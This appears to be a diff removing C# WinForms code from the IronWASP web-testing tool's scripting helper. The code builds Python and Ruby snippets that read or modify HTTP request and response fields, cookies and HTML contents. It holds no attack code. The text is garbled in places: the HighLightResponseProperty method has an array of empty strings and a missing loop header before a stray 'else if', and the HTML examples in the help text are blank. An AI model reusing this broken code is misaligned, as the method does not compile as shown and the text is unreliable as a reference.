Value.Replace("\"", "\\\""))); - } - break; - case ("UrlDir"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request url dir is ' + req.UrlDir"); - Rb.AppendLine("puts 'Request url dir is ' + req.url_dir"); - } - break; - case ("BodyString"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request body content is ' + req.BodyString"); - Rb.AppendLine("puts 'Request body content is ' + req.body_string"); - } - else - { - Py.AppendLine(string.Format(@"req.BodyString = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.body_string = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("CookieString"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request cookie content is ' + req.CookieString"); - Rb.AppendLine("puts 'Request cookie content is ' + req.cookie_string"); - } - else - { - Py.AppendLine(string.Format(@"req.CookieString = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.cookie_string = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("BodyLength"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Size of the Request body is ' + str(req.BodyLength)"); - Rb.AppendLine("puts 'Size of the Request body is ' + req.body_length.to_s"); - } - break; - case ("ContentType"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'The type of the Request body content is ' + req.ContentType"); - Rb.AppendLine("puts 'The type of the Request body content is ' + req.content_type"); - } - else - { - Py.AppendLine(string.Format(@"req.ContentType = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.content_type = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - } - - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ROPAnswerReadRB_CheckedChanged(object sender, EventArgs e) - { - if (ROPAnswerReadRB.Checked) - { - ROPParameterValueLbl.Visible = false; - ROPParameterValueTB.Visible = false; - } - else - { - ROPParameterValueLbl.Visible = true; - ROPParameterValueTB.Visible = true; - } - } - - void HighLightResponseProperty(string StartPropertyTag) - { - string[] Tags = new string[] { "", "", "", "", "", "", "", "", "", "", - "", "", "", "", "", "", "", "", "","" }; - - string FullTemplate = @"HTTP/1.1 200 OK -Server: Microsoft-IIS/7.0 -Content-Type: text/html; charset=utf-8 -Content-Length: 69 -Set-Cookie: aaa=111; expires=Thu, 01-Jan-2015 19:57:42 GMT; path=/; domain=.ironwasp.org -Set-Cookie: bbb=222; expires=Wed, 03-Jul-2013 19:57:42 GMT; path=/; domain=www.ironwasp.org; HttpOnly - -Welcome - -"; - - string ToShow = FullTemplate; - - string EndPropertyTag = StartPropertyTag.Replace("<", ">"); - else if (Tag.Equals(EndPropertyTag)) - ToShow = ToShow.Replace(Tag, ">"); - else - ToShow = ToShow.Replace(Tag, ""); - } - - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(Tools.RtfSafe(ToShow)); - SB.Append(@" \par"); - ResDisplayRTB.Rtf = SB.ToString(); - } - - private void ResParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ResParameterTypeGrid.SelectedRows == null) return; - if (ResParameterTypeGrid.SelectedRows.Count == 0) return; - - ResQuestionGB.Text = "Do you want to read or modify this value?"; - ResQuestionGB.Visible = false; - ResAnswerEditRB.Enabled = true; - ResCreateCodeBtn.Enabled = true; - ResParameterValueTB.Enabled = true; - - if (ResAnswerEditRB.Checked) - { - ResParameterValueLbl.Visible = true; - ResParameterValueTB.Visible = true; - } - - foreach (DataGridViewRow Row in ResParameterTypeGrid.Rows) - { - if (Row.Index == ResParameterTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - ResParameterDescriptionTB.Text = Row.Cells[3].Value.ToString(); - HighLightResponseProperty(Row.Cells[2].Value.ToString()); - - string Property = Row.Cells[1].Value.ToString(); - - switch (Property) - { - case ("ContentType"): - case ("BodyString"): - ResQuestionGB.Visible = true; - ResParameterValueLbl.Visible = true; - ResParameterValueTB.Visible = true; - ResParameterValueTB.Enabled = true; - break; - case ("Headers"): - case ("Html"): - ResCreateCodeBtn.Enabled = false; - ResParameterValueLbl.Visible = false; - ResParameterValueTB.Visible = false; - break; - case ("SetCookies"): - ResParameterValueLbl.Visible = false; - ResParameterValueTB.Visible = false; - ResQuestionGB.Visible = true; - ResParameterValueTB.Enabled = false; - break; - default: - ResQuestionGB.Text = "This is a read-only value, cannot be modified."; - ResQuestionGB.Visible = true; - ResAnswerReadRB.Checked = true; - ResAnswerEditRB.Enabled = false; - break; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ResCreateCodeBtn_Click(object sender, EventArgs e) - { - - ShowResError(""); - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - - string Property = ""; - foreach (DataGridViewRow Row in ResParameterTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Property = Row.Cells[1].Value.ToString(); - break; - } - } - string Value = ResParameterValueTB.Text; - switch (Property) - { - case ("Code"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'Response Code is ' + str(res.Code)"); - Rb.AppendLine("puts 'Response Code is ' + res.code.to_s"); - } - break; - case ("Status"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'Response status is ' + res.Status"); - Rb.AppendLine("puts 'Response status is ' + res.status"); - } - break; - case ("HttpVersion"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'Response HTTP version is ' + res.HttpVersion"); - Rb.AppendLine("puts 'Response HTTP version is ' + res.http_version"); - } - break; - case ("BodyLength"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'Size of the Response body is ' + str(res.BodyLength)"); - Rb.AppendLine("puts 'Size of the Response body is ' + res.body_length.to_s"); - } - break; - case ("ContentType"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'The type of the Response body content is ' + res.ContentType"); - Rb.AppendLine("puts 'The type of the Response body content is ' + res.content_type"); - } - else - { - Py.AppendLine(string.Format(@"res.ContentType = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"res.content_type = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("BodyEncoding"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'The encoding type of the Response body is ' + res.BodyEncoding"); - Rb.AppendLine("puts 'The encoding type of the Response body is ' + res.body_encoding"); - } - break; - case ("SetCookies"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("#SetCookies is list of SetCookie objects. It is a .NET List type but you can check its length and iterate over it like Python list."); - Py.AppendLine("if len(res.SetCookies) > 0:"); - Py.Append(" "); Py.AppendLine("for sc in res.SetCookies:"); - Py.Append(" "); Py.AppendLine(@"print ""SetCookie Header Value is : "" + sc.FullString"); - Py.Append(" "); Py.AppendLine(@"print "" Name= "" + sc.Name"); - Py.Append(" "); Py.AppendLine(@"print "" Value= "" + sc.Value"); - Py.Append(" "); Py.AppendLine(@"print "" Path= "" + sc.Path"); - Py.Append(" "); Py.AppendLine(@"print "" Domain= "" + sc.Domain"); - Py.Append(" "); Py.AppendLine(@"print "" Expires= "" + sc.Expires"); - Py.Append(" "); Py.AppendLine(@"print "" MaxAge= "" + sc.MaxAge"); - Py.Append(" "); Py.AppendLine(@"print "" Comment= "" + sc.Comment"); - Py.Append(" "); Py.AppendLine(@"print "" Version= "" + sc.Version"); - Py.Append(" "); Py.AppendLine(@"if sc.HttpOnly:"); - Py.Append(" "); Py.AppendLine(@"print "" HttpOnly flag is set"""); - Py.Append(" "); Py.AppendLine(@"else:"); - Py.Append(" "); Py.AppendLine(@"print "" HttpOnly flag is not set"""); - Py.Append(" "); Py.AppendLine(@"if sc.Secure:"); - Py.Append(" "); Py.AppendLine(@"print "" Secure flag is set"""); - Py.Append(" "); Py.AppendLine(@"else:"); - Py.Append(" "); Py.AppendLine(@"print "" Secure flag is not set"""); - - Rb.AppendLine("#SetCookies is list of SetCookie objects. It is a .NET List type but you can check its length and iterate over it like Ruby list."); - Rb.AppendLine("if res.set_cookies.count > 0"); - Rb.Append(" "); Rb.AppendLine("for sc in res.set_cookies"); - Rb.Append(" "); Rb.AppendLine(@"puts ""SetCookie Header Value is : "" + sc.full_string"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Name= "" + sc.name"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Value= "" + sc.value"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Path= "" + sc.path"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Domain= "" + sc.domain"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Expires= "" + sc.expires"); - Rb.Append(" "); Rb.AppendLine(@"puts "" MaxAge= "" + sc.max_age"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Comment= "" + sc.comment"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Version= "" + sc.version"); - Rb.Append(" "); Rb.AppendLine(@"if sc.http_only"); - Rb.Append(" "); Rb.AppendLine(@"puts "" HttpOnly flag is set"""); - Rb.Append(" "); Rb.AppendLine(@"else"); - Rb.Append(" "); Rb.AppendLine(@"puts "" HttpOnly flag is not set"""); - Rb.Append(" "); Rb.AppendLine(@"end"); - Rb.Append(" "); Rb.AppendLine(@"if sc.secure"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Secure flag is set"""); - Rb.Append(" "); Rb.AppendLine(@"else"); - Rb.Append(" "); Rb.AppendLine(@"puts "" Secure flag is not set"""); - Rb.Append(" "); Rb.AppendLine(@"end"); - Rb.Append(" "); Rb.AppendLine(@"end"); - Rb.AppendLine(@"end"); - } - else - { - Py.AppendLine(@"#Create a new SetCookie object from string. The format of the string must be similar to the value of Set-Cookie response headers from server"); - Py.AppendLine(@"sc = SetCookie(""aaa=111; Path=/"")"); - Py.AppendLine("#SetCookies is a .NET List so we use the Add method of the .NET list to add a new SetCookie object"); - Py.AppendLine(@"res.SetCookies.Add(sc)"); - - Rb.AppendLine(@"#Create a new SetCookie object from string. The format of the string must be similar to the value of Set-Cookie response headers from server"); - Rb.AppendLine(@"sc = SetCookie.new(""aaa=111; Path=/"")"); - Rb.AppendLine("#SetCookies is a .NET List so we use the Add method of the .NET list to add a new SetCookie object"); - Rb.AppendLine(@"res.set_cookies.push(sc)"); - } - break; - case ("BodyString"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'Response body content is ' + res.BodyString"); - Rb.AppendLine("puts 'Response body content is ' + res.body_string"); - } - else - { - Py.AppendLine(string.Format(@"res.BodyString = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"res.body_string = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("RoundTrip"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("print 'The time taken to recieve this response is ' + str(res.RoundTrip) + ' ms'"); - Rb.AppendLine("puts 'The time taken to recieve this response is ' + res.round_trip.to_s + ' ms'"); - } - break; - case ("HasBody"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.HasBody:"); - Py.Append(" "); Py.AppendLine("print 'Response has a body'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response does not have a body'"); - - Rb.AppendLine("if res.has_body"); - Rb.Append(" "); Rb.AppendLine("puts 'Response has a body'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response does not have a body'"); - Rb.AppendLine("end"); - } - break; - case ("IsHtml"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsHtml:"); - Py.Append(" "); Py.AppendLine("print 'Response body is HTML'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response body is not HTML'"); - - Rb.AppendLine("if res.is_html"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is HTML'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is not HTML'"); - Rb.AppendLine("end"); - } - break; - case ("IsJson"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsJson:"); - Py.Append(" "); Py.AppendLine("print 'Response body is JSON'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response body is not JSON'"); - - Rb.AppendLine("if res.is_json"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is JSON'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is not JSON'"); - Rb.AppendLine("end"); - } - break; - case ("IsXml"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsXml:"); - Py.Append(" "); Py.AppendLine("print 'Response body is XML'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response body is not XML'"); - - Rb.AppendLine("if res.is_xml"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is XML'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is not XML'"); - Rb.AppendLine("end"); - } - break; - case ("IsJavaScript"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsJavaScript:"); - Py.Append(" "); Py.AppendLine("print 'Response body is JavaScript'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response body is not JavaScript'"); - - Rb.AppendLine("if res.is_java_script"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is JavaScript'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is not JavaScript'"); - Rb.AppendLine("end"); - } - break; - case ("IsCss"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsCss:"); - Py.Append(" "); Py.AppendLine("print 'Response body is CSS'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response body is not CSS'"); - - Rb.AppendLine("if res.is_css"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is CSS'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response body is not CSS'"); - Rb.AppendLine("end"); - } - break; - case ("IsRedirect"): - if (ResAnswerReadRB.Checked) - { - Py.AppendLine("if res.IsRedirect:"); - Py.Append(" "); Py.AppendLine("print 'Response is a redirect'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Response is not a redirect'"); - - Rb.AppendLine("if res.is_redirect"); - Rb.Append(" "); Rb.AppendLine("puts 'Response is a Redirect'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Response is not a Redirect'"); - Rb.AppendLine("end"); - } - break; - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ResAnswerReadRB_CheckedChanged(object sender, EventArgs e) - { - if (ResAnswerReadRB.Checked) - { - ResParameterValueLbl.Visible = false; - ResParameterValueTB.Visible = false; - } - else - { - ResParameterValueLbl.Visible = true; - ResParameterValueTB.Visible = true; - } - } - - private void SRSendWithLogSourceRB_CheckedChanged(object sender, EventArgs e) - { - if (SRSendWithLogSourceRB.Checked) - { - SRLogSourceLbl.Visible = true; - SRLogSourceTB.Visible = true; - } - else - { - SRLogSourceLbl.Visible = false; - SRLogSourceTB.Visible = false; - } - } - - private void HtmlMainActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (HtmlMainActionsGrid.SelectedRows == null) return; - if (HtmlMainActionsGrid.SelectedRows.Count == 0) return; - - HtmlDescriptionTB.Text = ""; - HtmlAnswerDescriptionTB.Visible = false; - HtmlOptionsGrid.Visible = false; - HtmlOptionsGrid.Rows.Clear(); - HtmlCreateCodeBtn.Enabled = false; - - HtmlGVPanel.Visible = false; - HtmlGEPanel.Visible = false; - HtmlAnswerPanel.Visible = false; - - HtmlGVPanel.Width = 10; - HtmlGEPanel.Width = 10; - HtmlAnswerPanel.Width = 10; - - foreach (DataGridViewRow Row in HtmlMainActionsGrid.Rows) - { - if (Row.Index == HtmlMainActionsGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - HtmlDescriptionTB.Text = Row.Cells[2].Value.ToString(); - - string Property = Row.Cells[1].Value.ToString(); - - switch (Property) - { - case ("Get Title of Html"): - case ("Get Links from Html"): - case ("Get Comments from Html"): - HtmlCreateCodeBtn.Enabled = true; - break; - case ("Get JavaScript from Html"): - HtmlOptionsGrid.Rows.Clear(); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All JavaScript", "JS" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Only JavaScript having a keyword", "JS" }); - HtmlOptionsGrid.Visible = true; - break; - case ("Get VisualBasic from Html"): - HtmlOptionsGrid.Rows.Clear(); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All Visual Basic", "VB" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Only Visual Basic having a keyword", "VB" }); - HtmlOptionsGrid.Visible = true; - break; - case ("Get CSS from Html"): - HtmlOptionsGrid.Rows.Clear(); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Get All CSS", "CSS" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Only CSS having a keyword", "CSS" }); - HtmlOptionsGrid.Visible = true; - break; - case ("Get Values of Html attributes"): - HtmlOptionsGrid.Rows.Clear(); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 1", "GV" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 2", "GV" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 3", "GV" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 4", "GV" }); - HtmlOptionsGrid.Visible = true; - HtmlGVPanel.Width = 398; - HtmlGVPanel.Visible = true; - HtmlAnswerDescriptionTB.Text = @" -Html tags look like: - -Here 'input' is the tag name. 'name' and 'type' are attribute names, 'search' and 'hidden' are corresponding attribute values. - -The input fields at the bottom denote the values required to be entered by you. - -The input box before 'value to get' should be filled by the name of attribute whose value you want to get. - -The first input box will be the name of the html tags where this attribute value must be taken from. Enter * if you want to search all tags. - -The 3rd and 4th input boxes are optional. If you provide an attribute name and value in these boxes then only tags containing them will be searched. - -You can use any of the templates on the left for reference. - -Template 1: -Gets the urls of all scripts loaded in this HTML - -Template 2: -Gets the value of the element with id set as 'c_token' - -Template 3: -Gets the names of all hidden input tags in the HTML - -Template 4: -Gets the value of all 'onclick' event handlers in the HTML -"; - HtmlAnswerDescriptionTB.Visible = true; - HtmlCreateCodeBtn.Enabled = true; - break; - case ("Get Elements from Html as strings"): - case ("Get Elements from Html as objects"): - HtmlOptionsGrid.Rows.Clear(); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 1", "GE" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 2", "GE" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 3", "GE" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 4", "GE" }); - HtmlOptionsGrid.Rows.Add(new object[] { false, "Template 5", "GE" }); - HtmlOptionsGrid.Visible = true; - HtmlGEPanel.Width = 398; - HtmlGEPanel.Visible = true; - HtmlAnswerDescriptionTB.Text = @" -Html tags look like: - -Here 'input' is the tag name. 'name' and 'type' are attribute names, 'search' and 'hidden' are corresponding attribute values. - -The input fields at the bottom denote the values required to be entered by you. - -The first input box will be the name of the html tags that must be returned. Enter * if you want to match all tags. - -The 2nd and 3rd input boxes are optional. If you provide an attribute name and value in these boxes then only elements containing them will be returned. - -You can use any of the templates on the left for reference. - -Template 1: -Gets all HTML form elements in the page - -Template 2: -Gets all script elements that load script from other files - -Template 3: -Gets the element with id set as 'c_token' - -Template 4: -Gets all hidden input tags in the HTML - -Template 5: -Gets all elements that have the 'onclick' event handlers in the HTML -"; - HtmlAnswerDescriptionTB.Visible = true; - HtmlCreateCodeBtn.Enabled = true; - break; - case ("Find the context a keyword"): - HtmlAnswerPanel.Width = 373; - HtmlAnswerPanel.Visible = true; - HtmlCreateCodeBtn.Enabled = true; - break; - case ("Get Content of Meta tags"): - HtmlAnswerPanel.Visible = true; - break; - case ("Get Forms from Html"): - HtmlCreateCodeBtn.Enabled = true; - break; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void HtmlOptionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (HtmlOptionsGrid.SelectedRows == null) return; - if (HtmlOptionsGrid.SelectedRows.Count == 0) return; - - string Option = ""; - string Type = ""; - foreach (DataGridViewRow Row in HtmlOptionsGrid.Rows) - { - if (Row.Index == HtmlOptionsGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - Option = Row.Cells[1].Value.ToString(); - Type = Row.Cells[2].Value.ToString(); - } - else - { - Row.Cells[0].Value = false; - } - } - if (Option.Length == 0 || Type.Length == 0) - { - return; - } - switch (Type) - { - case ("JS"): - case ("VB"): - case ("CSS"): - if (Option.StartsWith("Only")) - { - HtmlAnswerPanel.Width = 373; - HtmlAnswerPanel.Visible = true; - } - else - { - HtmlAnswerPanel.Width = 10; - HtmlAnswerPanel.Visible = false; - } - HtmlCreateCodeBtn.Enabled = true; - break; - case ("GV"): - switch (Option) - { - case("Template 1"): - HtmlGVTagTB.Text = "script"; - HtmlGVMainAttributeNameTB.Text = "src"; - HtmlGVHelperAttributeValueTB.Text = ""; - HtmlGVHelperAttributeNameTB.Text = ""; - break; - case ("Template 2"): - HtmlGVTagTB.Text = "*"; - HtmlGVMainAttributeNameTB.Text = "value"; - HtmlGVHelperAttributeNameTB.Text = "id"; - HtmlGVHelperAttributeValueTB.Text = "c_token"; - break; - case ("Template 3"): - HtmlGVTagTB.Text = "input"; - HtmlGVMainAttributeNameTB.Text = "name"; - HtmlGVHelperAttributeNameTB.Text = "type"; - HtmlGVHelperAttributeValueTB.Text = "hidden"; - break; - case ("Template 4"): - HtmlGVTagTB.Text = "*"; - HtmlGVMainAttributeNameTB.Text = "onclick"; - HtmlGVHelperAttributeNameTB.Text = ""; - HtmlGVHelperAttributeValueTB.Text = ""; - break; - } - HtmlCreateCodeBtn.Enabled = true; - break; - case ("GE"): - switch (Option) - { - case ("Template 1"): - HtmlGETagTB.Text = "form"; - HtmlGEAttributeNameTB.Text = ""; - HtmlGEAttributeValueTB.Text = ""; - break; - case ("Template 2"): - HtmlGETagTB.Text = "script"; - HtmlGEAttributeNameTB.Text = "src"; - HtmlGEAttributeValueTB.Text = ""; - break; - case ("Template 3"): - HtmlGETagTB.Text = "*"; - HtmlGEAttributeNameTB.Text = "id"; - HtmlGEAttributeValueTB.Text = "c_token"; - break; - case ("Template 4"): - HtmlGETagTB.Text = "input"; - HtmlGEAttributeNameTB.Text = "type"; - HtmlGEAttributeValueTB.Text = "hidden"; - break; - case ("Template 5"): - HtmlGETagTB.Text = "*"; - HtmlGEAttributeNameTB.Text = "onclick"; - HtmlGEAttributeValueTB.Text = ""; - break; - } - HtmlCreateCodeBtn.Enabled = true; - break; - } - } - - private void HtmlCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowHtmlError(""); - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); - - string Property = ""; - string Type = ""; - - string Keyword = HtmlAnswerTB.Text.Replace("\"", "\\\""); - - string TagName = ""; - string MainAttributeName = ""; - string HelperAttributeName = ""; - string HelperAttributeValue = ""; - - foreach (DataGridViewRow Row in HtmlMainActionsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Property = Row.Cells[1].Value.ToString(); - break; - } - } - foreach (DataGridViewRow Row in HtmlOptionsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Type = Row.Cells[1].Value.ToString(); - break; - } - } - - switch (Property) - { - case ("Get Title of Html"): - Py.AppendLine("print 'The title of the page is - ' + res.Html.Title"); - Rb.AppendLine("puts 'The title of the page is - ' + res.html.title"); - break; - case ("Get Links from Html"): - Py.AppendLine("links = res.Html.Links"); - Py.AppendLine("#Links are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for link in links:"); - Py.Append(" "); Py.AppendLine("print link"); - - Rb.AppendLine("links = res.html.links"); - Rb.AppendLine("#Links are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for link in links"); - Rb.Append(" "); Rb.AppendLine("puts link"); - Rb.AppendLine("end"); - break; - case ("Get Comments from Html"): - Py.AppendLine("comments = res.Html.Comments"); - Py.AppendLine("#Comments are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for comment in comments:"); - Py.Append(" "); Py.AppendLine("print comment"); - - Rb.AppendLine("comments = res.html.comments"); - Rb.AppendLine("#Comments are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for comment in comments"); - Rb.Append(" "); Rb.AppendLine("puts comment"); - Rb.AppendLine("end"); - break; - case ("Get JavaScript from Html"): - if (Type.StartsWith("Get All")) - { - Py.AppendLine("#Get all JavaScript from script tags and event-handlers in the Html"); - Py.AppendLine("scripts = res.Html.GetJavaScript()"); - Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for script in scripts:"); - Py.Append(" "); Py.AppendLine("print script"); - - Rb.AppendLine("#Get all JavaScript from script tags and event-handlers in the Html"); - Rb.AppendLine("scripts = res.html.get_java_script"); - Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for script in scripts"); - Rb.Append(" "); Rb.AppendLine("puts script"); - Rb.AppendLine("end"); - } - else - { - if (Keyword.Length == 0) - { - ShowHtmlError("Keyword cannot be empty"); - return; - } - - Py.AppendLine(string.Format(@"#Get all JavaScript from script tags and event-handlers that contain the string ""{0}""", Keyword)); - Py.AppendLine(string.Format(@"scripts = res.Html.GetJavaScript(""{0}"")", Keyword)); - Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for script in scripts:"); - Py.Append(" "); Py.AppendLine("print script"); - - Rb.AppendLine(string.Format(@"#Get all JavaScript from script tags and event-handlers that contain the string ""{0}""", Keyword)); - Rb.AppendLine(string.Format(@"scripts = res.html.get_java_script(""{0}"")", Keyword)); - Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for script in scripts"); - Rb.Append(" "); Rb.AppendLine("puts script"); - Rb.AppendLine("end"); - } - break; - case ("Get VisualBasic from Html"): - if (Type.StartsWith("Get All")) - { - Py.AppendLine("#Get all VB Script from script tags in the Html"); - Py.AppendLine("scripts = res.Html.GetVisualBasic()"); - Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for script in scripts:"); - Py.Append(" "); Py.AppendLine("print script"); - - Rb.AppendLine("#Get all VB Script from script tags in the Html"); - Rb.AppendLine("scripts = res.html.get_visual_basic"); - Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for script in scripts"); - Rb.Append(" "); Rb.AppendLine("puts script"); - Rb.AppendLine("end"); - } - else - { - if (Keyword.Length == 0) - { - ShowHtmlError("Keyword cannot be empty"); - return; - } - - Py.AppendLine(string.Format(@"#Get all VB Script from script tags that contain the string ""{0}""", Keyword)); - Py.AppendLine(string.Format(@"scripts = res.Html.GetVisualBasic(""{0}"")", Keyword)); - Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for script in scripts:"); - Py.Append(" "); Py.AppendLine("print script"); - - Rb.AppendLine(string.Format(@"#Get all VB Script from script tags that contain the string ""{0}""", Keyword)); - Rb.AppendLine(string.Format(@"scripts = res.html.get_visual_basic(""{0}"")", Keyword)); - Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for script in scripts"); - Rb.Append(" "); Rb.AppendLine("puts script"); - Rb.AppendLine("end"); - } - break; - case ("Get CSS from Html"): - if (Type.StartsWith("Get All")) - { - Py.AppendLine("#Get all CSS from style tags and style attribute of elements in the Html"); - Py.AppendLine("all_css = res.Html.GetCss()"); - Py.AppendLine("#CSSs are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for css in all_css:"); - Py.Append(" "); Py.AppendLine("print css"); - - Rb.AppendLine("#Get all CSS from style tags and style attribute of elements in the Html"); - Rb.AppendLine("all_css = res.html.get_css"); - Rb.AppendLine("#CSSs are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for css in all_css"); - Rb.Append(" "); Rb.AppendLine("puts css"); - Rb.AppendLine("end"); - } - else - { - if (Keyword.Length == 0) - { - ShowHtmlError("Keyword cannot be empty"); - return; - } - - Py.AppendLine(string.Format(@"#Get all CSS from style tags and style attribute that contain the string ""{0}""", Keyword)); - Py.AppendLine(string.Format(@"all_css = res.Html.GetCss(""{0}"")", Keyword)); - Py.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for css in all_css:"); - Py.Append(" "); Py.AppendLine("print css"); - - Rb.AppendLine(string.Format(@"#Get all CSS from style tags and style attribute that contain the string ""{0}""", Keyword)); - Rb.AppendLine(string.Format(@"all_css = res.html.get_css(""{0}"")", Keyword)); - Rb.AppendLine("#Scripts are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for css in all_css"); - Rb.Append(" "); Rb.AppendLine("puts css"); - Rb.AppendLine("end"); - } - break; - case ("Get Values of Html attributes"): - TagName = HtmlGVTagTB.Text.Replace("\"", "\\\""); - MainAttributeName = 